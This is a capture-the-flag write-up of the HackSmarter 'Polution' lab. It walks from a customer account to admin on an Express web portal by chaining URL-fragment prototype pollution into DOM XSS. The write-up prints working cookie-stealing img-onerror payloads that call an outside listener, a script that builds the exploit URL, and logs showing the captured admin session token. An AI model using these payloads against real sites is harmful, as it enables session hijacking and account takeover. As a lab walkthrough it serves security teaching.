Skip to content
BIG$HA crestBIG$HA
All writeups

HackSmarter

Polution

Target Information

Property Value
Target 10.1.22.54
Platform Linux — Node.js / Express web app on port 3000
Starting point Customer-level account pentester:HackSmarter123
Objective Elevate from the customer account to Administrator

The scope described a staging build of a managed-SOC web portal, about to go to production. I had one set of credentials that “mirror a customer”, and the question was whether that account could become an Administrator.

Enumeration

Port Scan

nmap -Pn -P -A 10.1.22.54

Starting Nmap 7.95 ( https://nmap.org ) at 2026-08-27 12:41 UTC
Nmap scan report for 10.1.22.54
Host is up (0.15s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 f9:eb:b6:8f:0a:0c:6f:d9:fd:66:8c:65:21:c1:5c:cb (ECDSA)
|_  256 f4:18:16:97:52:6f:d2:6e:d8:79:6d:a2:3c:0a:9c:b2 (ED25519)
3000/tcp open  http    Node.js Express framework
|_http-title: Hacksmarter | Login
# … (OS fingerprint and traceroute trimmed)
Nmap done: 1 IP address (1 host up) scanned in 38.26 seconds

Two services: SSH and an Express app with a login page on 3000.

SSH

The provided credentials were worth one try against SSH before focusing on the web app.

ssh pentester@10.1.22.54

The authenticity of host '10.1.22.54 (10.1.22.54)' can't be established.
ED25519 key fingerprint is: SHA256:pFfaRrorG6Xb+nu6pRhkrsjbvpIhuNMJs9FAeBDrtrg
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.1.22.54' (ED25519) to the list of known hosts.
pentester@10.1.22.54: Permission denied (publickey).

Key-only authentication — no password prompt at all. The way in was going to be the web app.

Content Discovery

gobuster dir -u "http://10.1.22.54:3000" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -x js,txt,bak,zip,sh,html

# … (banner trimmed)
/dashboard            (Status: 200) [Size: 6035]
/Dashboard            (Status: 200) [Size: 6035]
Progress: 165237 / 1543913 (10.70%)^C

Only the dashboard surfaced, so I stopped the directory scan and fuzzed the API namespace instead.

ffuf -u http://10.1.22.54:3000/api/FUZZ \
-w ~/kali4niaL0ve-back/usr/share/wordlists/Seclists/Discovery/Web-Content/raft-medium-words.txt \
-fc 404

# … (banner trimmed)
mail                    [Status: 200, Size: 72, Words: 5, Lines: 1, Duration: 151ms]
Mail                    [Status: 200, Size: 72, Words: 5, Lines: 1, Duration: 153ms]
metadata                [Status: 200, Size: 19, Words: 1, Lines: 1, Duration: 152ms]
MAIL                    [Status: 200, Size: 72, Words: 5, Lines: 1, Duration: 151ms]
:: Progress: [63088/63088] :: Job [1/1] :: 258 req/sec :: Duration: [0:04:07] :: Errors: 0 ::
curl -s http://10.1.22.54:3000/api/metadata | jq

{
  "ip": "10.1.22.54"
}

/api/metadata only echoed the host IP. /api/mail lined up with the mail feature I would find in the UI.

Exploring the Application

Logging In as the Customer

Logging in with the provided credentials redirected to /dashboard. The only thing the server set was a plain user cookie holding the username.

Login Response - Set-Cookie user=pentester

The dashboard had three sections: Audit Logs, Webmail and Incident Response. Incident Response returned 403 Forbidden for the customer cookie, which made it the target.

Webmail — Testing the Admin’s Reader

Webmail had a fixed recipient, admin@hacksmarter.local, and confirmed every send with “Message delivered to admin.” A message that lands with an admin is a delivery path to a privileged session, so I tested whether the admin side rendered HTML. The first payload was an <img onerror> that called fetch() to a listener on port 1235, placed in both the subject and the body.

The listener did get hits from the target itself (10.1.22.54), but the requested path was /xss')"> — the raw text that followed the URL in my message, not the result of a fetch() call.

I tried again with a cookie-stealing variant that built the URL from document.cookie:

<img src=x onerror="this.src='http://10.200.87.28:1236/message?c='+document.cookie"/>

Webmail - HTML Payload Requested Literally by the Target

The pattern repeated: the target requested /message?c='+document.cookie"/> literally. Nothing was being executed. Whatever processed the message on the admin side was following the URL it found in the text, not rendering my HTML. A plain HTML injection in the mail body was a dead end, but the admin would open a link.

Since the session appeared to be just user=<name>, I swapped it for user=admin and requested Incident Response again.

Incident Response - 403 with Forged user=admin Cookie

Still 403 Forbidden. The server was checking something beyond the user cookie, so I needed the admin’s real session rather than a forged one.

Client-Side Source Review

With a link-following admin as the delivery path, I needed script execution on a page the admin would open. I looked for a script bundle first.

curl -s http://10.1.22.54:3000/app.js -o app.js
grep -Ein \
'incident|audit|admin|role|isAdmin|authorized|prototype|merge|api/|fetch' \
app.js

No matches. The saved app.js was Express’s Cannot GET /app.js error page, so there was no separate bundle. The logic had to be inline, so I pulled the dashboard itself. It was served without a session cookie.

curl -s http://10.1.22.54:3000/dashboard | tee dashboard.html
grep -Ein 'incident|audit|admin|role|api/|mail|fetch|axios' dashboard.html

27:        <div class="nav-item active" onclick="showTab('audit')">Audit Logs</div>
28:        <div class="nav-item" onclick="showTab('mail')">Webmail</div>
29:        <a href="/incident-response" class="nav-item">Incident Response</a>
33:            <div id="tab-title">Audit Log Management</div>
37:            <div id="tab-audit" class="card">
44:            <div id="tab-mail" class="card hidden">
47:                <input type="text" id="mailTo" value="admin@hacksmarter.local" readonly>
49:                <input type="text" id="mailSub" placeholder="Issue Report">
51:                <textarea id="mailBody" rows="5" placeholder="Include links for investigation..."></textarea>
52:                <button onclick="sendMail()">Send Secure Message</button>
53:                <p id="mailStatus" style="font-size: 0.8rem; margin-top:10px;"></p>
60:            document.getElementById('tab-audit').classList.add('hidden');
61:            document.getElementById('tab-mail').classList.add('hidden');
63:            document.getElementById('tab-title').innerText = tab === 'audit' ? 'Audit Log Management' : 'Webmail';
103:        async function sendMail() {
104:            const res = await fetch('/api/mail/send', {
108:                    to: document.getElementById('mailTo').value,
109:                    subject: document.getElementById('mailSub').value,
110:                    body: document.getElementById('mailBody').value
114:            document.getElementById('mailStatus').innerText = data.status === "Sent" ? "Message delivered to admin." : "Error sending.";

The message body’s placeholder — “Include links for investigation…” — matched what the listener had shown: the admin acts on links. The interesting part was the Audit Log search script (dashboard.html lines 66–101):

function syncState(params, target) {
    params.split('&').forEach(pair => {
        const index = pair.indexOf('=');
        if (index === -1) return;

        const key = pair.substring(0, index);
        const value = pair.substring(index + 1);
        
        const path = key.split('.');
        let current = target;

        for (let i = 0; i < path.length; i++) {
            const part = decodeURIComponent(path[i]);
            if (i === path.length - 1) {
                current[part] = decodeURIComponent(value);
            } else {
                current[part] = current[part] || {};
                current = current[part];
            }
        }
    });
}

function executeSearch() {
    const results = document.getElementById('results');
    let options = { prefix: "Searching: " };
    if (window.location.hash) syncState(window.location.hash.substring(1), options);

    if (options.renderCallback) {
        const frag = document.createRange().createContextualFragment(options.renderCallback);
        results.innerHTML = "";
        results.appendChild(frag);
    } else {
        results.innerText = options.prefix + (document.getElementById('searchInput').value || "All Logs");
    }
}

Two things combine here:

  • syncState() takes key.path=value pairs from the URL fragment and walks dotted keys into nested objects with no filtering. A key of __proto__.renderCallback walks into Object.prototype and assigns there.
  • executeSearch() builds options without a renderCallback, but then checks options.renderCallback. A polluted prototype supplies one, and its value goes straight into createContextualFragment() and onto the page.

executeSearch() runs on page load and on every hashchange, so opening a crafted /dashboard#… link is enough to trigger it. My notes at this point:

URL hash
   ↓
syncState()
   ↓
__proto__.renderCallback
   ↓
Object.prototype.renderCallback
   ↓
options.renderCallback
   ↓
createContextualFragment()
   ↓
DOM XSS

Prototype Pollution → DOM XSS

Before building an exfiltration payload, I confirmed the gadget in my own browser with a harmless alert(document.domain):

http://10.1.22.54:3000/dashboard#__proto__.renderCallback=<img%20src%3Dx%20onerror%3Dalert(document.domain)>

Prototype Pollution PoC - alert(document.domain)

The alert fired on the application’s own origin. That gave me script execution in any browser that opened a /dashboard link I controlled, and the admin was already opening links from webmail.

Stealing the Admin Session

I generated the link with a small script, so the <img onerror> payload would be fully URL-encoded inside the fragment:

import urllib.parse

payload = '''<img src=x onerror="this.src='http://10.200.87.28:1234/?c='+encodeURIComponent(document.cookie)">'''

print(
    "http://10.1.22.54:3000/dashboard#__proto__.renderCallback="
    + urllib.parse.quote(payload, safe='')
)
python3 polution.py

http://10.1.22.54:3000/dashboard#__proto__.renderCallback=%3Cimg%20src%3Dx%20onerror%3D%22this.src%3D%27http%3A%2F%2F10.200.87.28%3A1234%2F%3Fc%3D%27%2BencodeURIComponent%28document.cookie%29%22%3E

Before sending it, I opened the same payload, pointed at a listener on port 1238, in my own browser. The listener logged requests from my own IP carrying c=user=pentester, so the exfiltration worked end to end and reported whatever cookies the victim’s browser held.

Self-Test - Exfiltration Payload Returns Own Cookie

Then I sent the port-1234 link to the admin through Webmail, with a listener running:

Webmail - Prototype Pollution Link Sent to Admin

python3 -m http.server 1234

Serving HTTP on 0.0.0.0 port 1234 (http://0.0.0.0:1234/) ...
10.1.22.54 - - [27/Aug/2026 13:54:06] "GET /?c=session%3DHS_ADMIN_7721_SECURE_AUTH_TOKEN%3B%20user%3Dadmin HTTP/1.1" 200 -
10.1.22.54 - - [27/Aug/2026 13:54:06] "GET /?c=session%3DHS_ADMIN_7721_SECURE_AUTH_TOKEN%3B%20user%3Dadmin HTTP/1.1" 200 -
10.1.22.54 - - [27/Aug/2026 13:54:07] "GET /?c=session%3DHS_ADMIN_7721_SECURE_AUTH_TOKEN%3B%20user%3Dadmin HTTP/1.1" 200 -
# … (13 more identical requests, 13:54:07–13:54:11)
^C
Keyboard interrupt received, exiting.

This time the request came from the target with real cookie values. The admin’s browser carried a session cookie that my customer account never received, which explains why forging user=admin alone had failed.

session=HS_ADMIN_7721_SECURE_AUTH_TOKEN; user=admin

Incident Response — Flag

With both admin cookies, I replayed the request that had returned 403 twice before:

curl -i \
  -H 'Cookie: session=HS_ADMIN_7721_SECURE_AUTH_TOKEN; user=admin' \
  http://10.1.22.54:3000/incident-response

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 50
ETag: W/"32-VvS3jRrq7M+NBsvFWGEgA46ppGI"
Date: Thu, 27 Aug 2026 13:55:36 GMT
Connection: keep-alive
Keep-Alive: timeout=5

<h1>Flag: HACKSMARTER{prowling_the_prototype}</h1>

Administrator access to Incident Response, starting from the customer account.

Attack Path Summary

Customer login (pentester) — Incident Response returns 403
↓
Webmail delivers to admin; admin side follows links but does not render HTML
↓
Forged user=admin cookie rejected (403) — real admin session needed
↓
Inline dashboard JS: syncState() merges URL-fragment keys without filtering
↓
#__proto__.renderCallback pollutes Object.prototype → createContextualFragment() → DOM XSS
↓
Link to /dashboard#__proto__.renderCallback=<img onerror=…document.cookie…> sent via Webmail
↓
Admin browser leaks session=HS_ADMIN_7721_SECURE_AUTH_TOKEN; user=admin
↓
/incident-response as admin → flag

Credentials Found

Principal Credential Source
pentester HackSmarter123 Provided in scope
admin (web session) session=HS_ADMIN_7721_SECURE_AUTH_TOKEN; user=admin Exfiltrated from the admin’s browser via prototype-pollution DOM XSS
Flag Value
Incident Response HACKSMARTER{prowling_the_prototype}

Tools Used

  • Nmap
  • Gobuster
  • ffuf
  • curl / jq
  • Browser + HTTP request replay
  • Python (urllib.parse, http.server)